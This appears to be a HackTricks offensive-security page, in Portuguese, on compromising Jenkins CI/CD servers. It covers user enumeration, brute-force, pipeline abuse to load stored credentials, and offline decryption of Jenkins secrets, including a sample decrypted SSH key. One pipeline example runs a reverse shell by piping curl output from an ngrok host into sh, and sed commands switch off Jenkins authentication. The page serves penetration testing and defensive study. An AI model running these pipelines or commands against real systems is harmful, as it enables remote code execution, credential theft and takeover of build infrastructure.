Jenkins Security

Support HackTricks

Basic Information

Jenkins é uma ferramenta que oferece um método simples para estabelecer um ambiente de integração contínua ou entrega contínua (CI/CD) para quase qualquer combinação de linguagens de programação e repositórios de código-fonte usando pipelines. Além disso, automatiza várias tarefas de desenvolvimento rotineiras. Embora o Jenkins não elimine a necessidade de criar scripts para etapas individuais, ele fornece uma maneira mais rápida e robusta de integrar toda a sequência de ferramentas de construção, teste e implantação do que se pode facilmente construir manualmente.

Unauthenticated Enumeration

Para procurar páginas interessantes do Jenkins sem autenticação, como (/people ou /asynchPeople, que lista os usuários atuais), você pode usar:

msf> use auxiliary/scanner/http/jenkins_enum

Verifique se você pode executar comandos sem precisar de autenticação:

msf> use auxiliary/scanner/http/jenkins_command

Sem credenciais, você pode olhar dentro do caminho /asynchPeople/ ou /securityRealm/user/admin/search/index?q= para nomes de usuário.

Você pode conseguir a versão do Jenkins a partir do caminho /oops ou /error

Vulnerabilidades Conhecidas

Login

Nas informações básicas, você pode verificar todas as maneiras de fazer login no Jenkins:

Registro

Você poderá encontrar instâncias do Jenkins que permitem que você crie uma conta e faça login nela. Simples assim.

Login SSO

Além disso, se a funcionalidade/plugins de SSO estiverem presentes, você deve tentar fazer login no aplicativo usando uma conta de teste (ou seja, uma conta de Github/Bitbucket de teste). Dica de aqui.

Bruteforce

Jenkins não possui política de senha e mitigação contra brute-force de nomes de usuário. É essencial fazer brute-force em usuários, uma vez que senhas fracas ou nomes de usuário como senhas podem estar em uso, até mesmo nomes de usuário invertidos como senhas.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Use this python script or this powershell script.

Bypass de Whitelisting de IP

Muitas organizações combinam sistemas de gerenciamento de controle de versão (SCM) baseados em SaaS como GitHub ou GitLab com uma solução de CI interna e auto-hospedada como Jenkins ou TeamCity. Essa configuração permite que os sistemas de CI recebam eventos de webhook de fornecedores de controle de versão SaaS, principalmente para acionar jobs de pipeline.

Para alcançar isso, as organizações whitelist os intervalos de IP das plataformas SCM, permitindo que acessem o sistema de CI interno via webhooks. No entanto, é importante notar que qualquer um pode criar uma conta no GitHub ou GitLab e configurá-la para acionar um webhook, potencialmente enviando solicitações para o sistema de CI interno.

Verifique: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Abusos Internos do Jenkins

Nestes cenários, vamos supor que você tenha uma conta válida para acessar o Jenkins.

Dependendo do mecanismo de Autorização configurado no Jenkins e das permissões do usuário comprometido, você pode ou não ser capaz de realizar os seguintes ataques.

Para mais informações, verifique as informações básicas:

Listando usuários

Se você acessou o Jenkins, pode listar outros usuários registrados em http://127.0.0.1:8080/asynchPeople/

Dumping de builds para encontrar segredos em texto claro

Use this script para despejar saídas de console de builds e variáveis de ambiente de build para, esperançosamente, encontrar segredos em texto claro.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Roubo de Credenciais SSH

Se o usuário comprometido tiver privilegios suficientes para criar/modificar um novo nó Jenkins e as credenciais SSH já estiverem armazenadas para acessar outros nós, ele poderia roubar essas credenciais criando/modificando um nó e definindo um host que registrará as credenciais sem verificar a chave do host:

Você geralmente encontrará credenciais ssh do Jenkins em um provedor global (/credentials/), então você também pode despejá-las como faria com qualquer outro segredo. Mais informações na seção Despejando segredos.

RCE no Jenkins

Obter um shell no servidor Jenkins dá ao atacante a oportunidade de vazar todos os segredos e variáveis de ambiente e de explorar outras máquinas localizadas na mesma rede ou até mesmo coletar credenciais de nuvem.

Por padrão, o Jenkins executa como SYSTEM. Portanto, comprometê-lo dará ao atacante privilegios de SYSTEM.

RCE Criando/Modificando um projeto

Criar/Modificar um projeto é uma maneira de obter RCE sobre o servidor Jenkins:

RCE Executando script Groovy

Você também pode obter RCE executando um script Groovy, que pode ser mais discreto do que criar um novo projeto:

RCE Criando/Modificando Pipeline

Você também pode obter RCE criando/modificando um pipeline:

Exploração de Pipeline

Para explorar pipelines, você ainda precisa ter acesso ao Jenkins.

Pipelines de Build

Pipelines também podem ser usados como mecanismo de build em projetos, nesse caso pode ser configurado um arquivo dentro do repositório que conterá a sintaxe do pipeline. Por padrão, usa-se /Jenkinsfile:

Também é possível armazenar arquivos de configuração de pipeline em outros lugares (em outros repositórios, por exemplo) com o objetivo de separar o acesso ao repositório e o acesso ao pipeline.

Se um atacante tiver acesso de escrita sobre esse arquivo, ele poderá modificá-lo e potencialmente acionar o pipeline sem nem mesmo ter acesso ao Jenkins. É possível que o atacante precise contornar algumas proteções de branch (dependendo da plataforma e dos privilégios do usuário, elas podem ser contornadas ou não).

Os gatilhos mais comuns para executar um pipeline personalizado são:

  • Pull request para a branch principal (ou potencialmente para outras branches)

  • Push para a branch principal (ou potencialmente para outras branches)

  • Atualizar a branch principal e esperar até que seja executado de alguma forma

Se você é um usuário externo, não deve esperar criar um PR para a branch principal do repositório de outro usuário/organização e acionar o pipeline... mas se estiver mal configurado, você poderia comprometer totalmente empresas apenas explorando isso.

RCE de Pipeline

Na seção anterior de RCE, já foi indicada uma técnica para obter RCE modificando um pipeline.

Verificando Variáveis de Ambiente

É possível declarar variáveis de ambiente em texto claro para todo o pipeline ou para estágios específicos. Essas variáveis de ambiente não devem conter informações sensíveis, mas um atacante sempre poderia verificar todas as configurações do pipeline/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Para informações sobre como os segredos são geralmente tratados pelo Jenkins, confira as informações básicas:

As credenciais podem ser escopadas para provedores globais (/credentials/) ou para projetos específicos (/job/<project-name>/configure). Portanto, para exfiltrar todos eles, você precisa comprometer pelo menos todos os projetos que contêm segredos e executar pipelines personalizados/contaminados.

Há outro problema, para obter um segredo dentro do env de um pipeline, você precisa saber o nome e o tipo do segredo. Por exemplo, se você tentar carregar um segredo usernamePassword como um segredo string, você receberá este erro:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Aqui está a maneira de carregar alguns tipos comuns de segredos:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

No final desta página você pode encontrar todos os tipos de credenciais: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

A melhor maneira de extrair todos os segredos de uma vez é comprometendo a máquina Jenkins (executando um shell reverso no nó embutido, por exemplo) e então vazando as chaves mestres e os segredos criptografados e descriptografando-os offline. Mais sobre como fazer isso na seção Nodes & Agents e na seção Post Exploitation.

Gatilhos

Das documentações: A diretiva triggers define as maneiras automatizadas pelas quais o Pipeline deve ser reativado. Para Pipelines que estão integrados com uma fonte como GitHub ou BitBucket, triggers pode não ser necessário, pois a integração baseada em webhooks provavelmente já estará presente. Os gatilhos atualmente disponíveis são cron, pollSCM e upstream.

Exemplo de Cron:

triggers { cron('H */4 * * 1-5') }

Verifique outros exemplos na documentação.

Nós e Agentes

Uma instância do Jenkins pode ter diferentes agentes rodando em diferentes máquinas. Do ponto de vista de um atacante, o acesso a diferentes máquinas significa diferentes credenciais de nuvem potenciais para roubar ou diferente acesso à rede que poderia ser abusado para explorar outras máquinas.

Para mais informações, consulte as informações básicas:

Você pode enumerar os nós configurados em /computer/, você geralmente encontrará o **Built-In Node ** (que é o nó que executa o Jenkins) e potencialmente mais:

É especialmente interessante comprometer o nó Built-In porque ele contém informações sensíveis do Jenkins.

Para indicar que você deseja executar o pipeline no nó Jenkins embutido, você pode especificar dentro do pipeline a seguinte configuração:

pipeline {
agent {label 'built-in'}

Exemplo completo

Pipeline em um agente específico, com um gatilho cron, com variáveis de ambiente de pipeline e estágio, carregando 2 variáveis em um passo e enviando um shell reverso:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Leitura Arbitrária de Arquivo para RCE

RCE

Pós Exploração

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Você pode listar os segredos acessando /credentials/ se tiver permissões suficientes. Note que isso listará apenas os segredos dentro do arquivo credentials.xml, mas arquivos de configuração de build também podem ter mais credenciais.

Se você pode ver a configuração de cada projeto, você também pode ver lá os nomes das credenciais (segredos) sendo usados para acessar o repositório e outras credenciais do projeto.

From Groovy

From disk

Esses arquivos são necessários para decriptar segredos do Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Tais segredos geralmente podem ser encontrados em:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Aqui está uma regex para encontrá-los:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Decryptar segredos do Jenkins offline

Se você tiver despejado as senhas necessárias para descriptografar os segredos, use este script para descriptografar esses segredos.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Descriptografar segredos do Jenkins a partir do Groovy

println(hudson.util.Secret.decrypt("{...}"))

Criar novo usuário administrador

  1. Acesse o arquivo Jenkins config.xml em /var/lib/jenkins/config.xml ou C:\Program Files (x86)\Jenkins\

  2. Procure a palavra <useSecurity>true</useSecurity> e mude a palavra true para false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Reinicie o servidor Jenkins: service jenkins restart

  5. Agora vá para o portal Jenkins novamente e Jenkins não pedirá credenciais desta vez. Navegue até "Gerenciar Jenkins" para definir a senha do administrador novamente.

  6. Ative a segurança novamente mudando as configurações para <useSecurity>true</useSecurity> e reinicie o Jenkins novamente.

Referências

Suporte HackTricks

Last updated